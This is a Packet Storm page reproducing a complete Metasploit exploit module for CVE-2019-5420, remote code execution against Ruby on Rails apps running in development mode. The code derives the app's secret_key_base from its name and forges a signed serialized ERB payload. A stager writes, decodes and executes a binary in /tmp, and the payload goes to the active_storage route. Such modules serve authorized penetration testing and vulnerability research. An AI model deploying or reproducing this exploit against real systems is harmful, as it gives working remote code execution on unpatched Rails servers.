Lucene search

K
packetstormSinn3rPACKETSTORM:152704
HistoryMay 01, 2019 - 12:00 a.m.

Ruby On Rails DoubleTap Development Mode secret_key_base Remote Code Execution

2019-05-0100:00:00
sinn3r
packetstormsecurity.com
37

0.968 High

EPSS

Percentile

99.6%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
include Msf::Auxiliary::Report  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Ruby On Rails DoubleTap Development Mode secret_key_base Vulnerability',  
'Description' => %q{  
This module exploits a vulnerability in Ruby on Rails. In development mode, a Rails  
application would use its name as the secret_key_base, and can be easily extracted by  
visiting an invalid resource for a path. As a result, this allows a remote user to  
create and deliver a signed serialized payload, load it by the application, and gain  
remote code execution.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'ooooooo_q', # Reported the vuln on hackerone  
'mpgn', # Proof-of-Concept  
'sinn3r' # Metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2019-5420' ],  
[ 'URL', 'https://hackerone.com/reports/473888' ],  
[ 'URL', 'https://github.com/mpgn/Rails-doubletap-RCE' ],  
[ 'URL', 'https://groups.google.com/forum/#!searchin/rubyonrails-security/CVE-2019-5420/rubyonrails-security/IsQKvDqZdKw/UYgRCJz2CgAJ' ]  
],  
'Platform' => 'linux',  
'Targets' =>  
[  
[ 'Ruby on Rails 5.2 and prior', { } ]  
],  
'DefaultOptions' =>  
{  
'RPORT' => 3000  
},  
'Notes' =>  
{  
'AKA' => [ 'doubletap' ],  
'Stability' => [ CRASH_SAFE ],  
'SideEffects' => [ IOC_IN_LOGS ]  
},  
'Privileged' => false,  
'DisclosureDate' => 'Mar 13 2019',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The route for the Rails application', '/']),  
])  
end  
  
NO_RAILS_ROOT_MSG = 'No Rails.root info'  
  
# These mocked classes are borrowed from Rails 5. I had to do this because Metasploit  
# still uses Rails 4, and we don't really know when we will be able to upgrade it.  
  
class Messages  
class Metadata  
def initialize(message, expires_at = nil, purpose = nil)  
@message, @expires_at, @purpose = message, expires_at, purpose  
end  
  
def as_json(options = {})  
{ _rails: { message: @message, exp: @expires_at, pur: @purpose } }  
end  
  
def self.wrap(message, expires_at: nil, expires_in: nil, purpose: nil)  
if expires_at || expires_in || purpose  
ActiveSupport::JSON.encode new(encode(message), pick_expiry(expires_at, expires_in), purpose)  
else  
message  
end  
end  
  
private  
  
def self.pick_expiry(expires_at, expires_in)  
if expires_at  
expires_at.utc.iso8601(3)  
elsif expires_in  
Time.now.utc.advance(seconds: expires_in).iso8601(3)  
end  
end  
  
def self.encode(message)  
Rex::Text::encode_base64(message)  
end  
end  
end  
  
class MessageVerifier  
def initialize(secret, options = {})  
raise ArgumentError, 'Secret should not be nil.' unless secret  
@secret = secret  
@digest = options[:digest] || 'SHA1'  
@serializer = options[:serializer] || Marshal  
end  
  
def generate(value, expires_at: nil, expires_in: nil, purpose: nil)  
data = encode(Messages::Metadata.wrap(@serializer.dump(value), expires_at: expires_at, expires_in: expires_in, purpose: purpose))  
"#{data}--#{generate_digest(data)}"  
end  
  
private  
  
def generate_digest(data)  
require "openssl" unless defined?(OpenSSL)  
OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data)  
end  
  
def encode(message)  
Rex::Text::encode_base64(message)  
end  
end  
  
def check  
check_code = CheckCode::Safe  
app_name = get_application_name  
check_code = CheckCode::Appears unless app_name.blank?  
test_payload = %Q|puts 1|  
rails_payload = generate_rails_payload(app_name, test_payload)  
result = send_serialized_payload(rails_payload)  
check_code = CheckCode::Vulnerable if result  
check_code  
rescue Msf::Exploit::Failed => e  
vprint_error(e.message)  
return check_code if e.message.to_s.include? NO_RAILS_ROOT_MSG  
CheckCode::Unknown  
end  
  
# Returns information about Rails.root if we retrieve an invalid path under rails.  
def get_rails_root_info  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'rails', Rex::Text.rand_text_alphanumeric(32)),  
})  
  
fail_with(Failure::Unknown, 'No response from the server') unless res  
html = res.get_html_document  
rails_root_node = html.at('//code[contains(text(), "Rails.root:")]')  
fail_with(Failure::NotVulnerable, NO_RAILS_ROOT_MSG) unless rails_root_node  
root_info_value = rails_root_node.text.scan(/Rails.root: (.+)/).flatten.first  
report_note(host: rhost, type: 'rails.root_info', data: root_info_value, update: :unique_data)  
root_info_value  
end  
  
# Returns the application name based on Rails.root. It seems in development mode, the  
# application name is used as a secret_key_base to encrypt/decrypt data.  
def get_application_name  
root_info = get_rails_root_info  
root_info.split('/').last.capitalize  
end  
  
# Returns the stager code that writes the payload to disk so we can execute it.  
def get_stager_code  
b64_fname = "/tmp/#{Rex::Text.rand_text_alpha(6)}.bin"  
bin_fname = "/tmp/#{Rex::Text.rand_text_alpha(5)}.bin"  
register_file_for_cleanup(b64_fname, bin_fname)  
p = Rex::Text.encode_base64(generate_payload_exe)  
  
c = "File.open('#{b64_fname}', 'wb') { |f| f.write('#{p}') }; "  
c << "%x(base64 --decode #{b64_fname} > #{bin_fname}); "  
c << "%x(chmod +x #{bin_fname}); "  
c << "%x(#{bin_fname})"  
c  
end  
  
# Returns the serialized payload that is embedded with our malicious payload.  
def generate_rails_payload(app_name, ruby_payload)  
secret_key_base = Digest::MD5.hexdigest("#{app_name}::Application")  
keygen = ActiveSupport::CachingKeyGenerator.new(ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000))  
secret = keygen.generate_key('ActiveStorage')  
verifier = MessageVerifier.new(secret)  
erb = ERB.allocate  
erb.instance_variable_set :@src, ruby_payload  
erb.instance_variable_set :@filename, "1"  
erb.instance_variable_set :@lineno, 1  
dump_target = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result)  
verifier.generate(dump_target, purpose: :blob_key)  
end  
  
# Sending the serialized payload  
# If the payload fails, the server should return 404. If successful, then 200.  
def send_serialized_payload(rails_payload)  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => "/rails/active_storage/disk/#{rails_payload}/test",  
})  
  
if res && res.code != 200  
print_error("It doesn't look like the exploit worked. Server returned: #{res.code}.")  
print_error('The expected response should be HTTP 200.')  
  
# This indicates the server did not accept the payload  
return false  
end  
  
# This is used to indicate the server accepted the payload  
true  
end  
  
def exploit  
print_status("Attempting to retrieve the application name...")  
app_name = get_application_name  
print_status("The application name is: #{app_name}")  
  
stager = get_stager_code  
print_status("Stager ready: #{stager.length} bytes")  
  
rails_payload = generate_rails_payload(app_name, stager)  
print_status("Sending serialized payload to target (#{rails_payload.length} bytes)")  
send_serialized_payload(rails_payload)  
end  
end  
`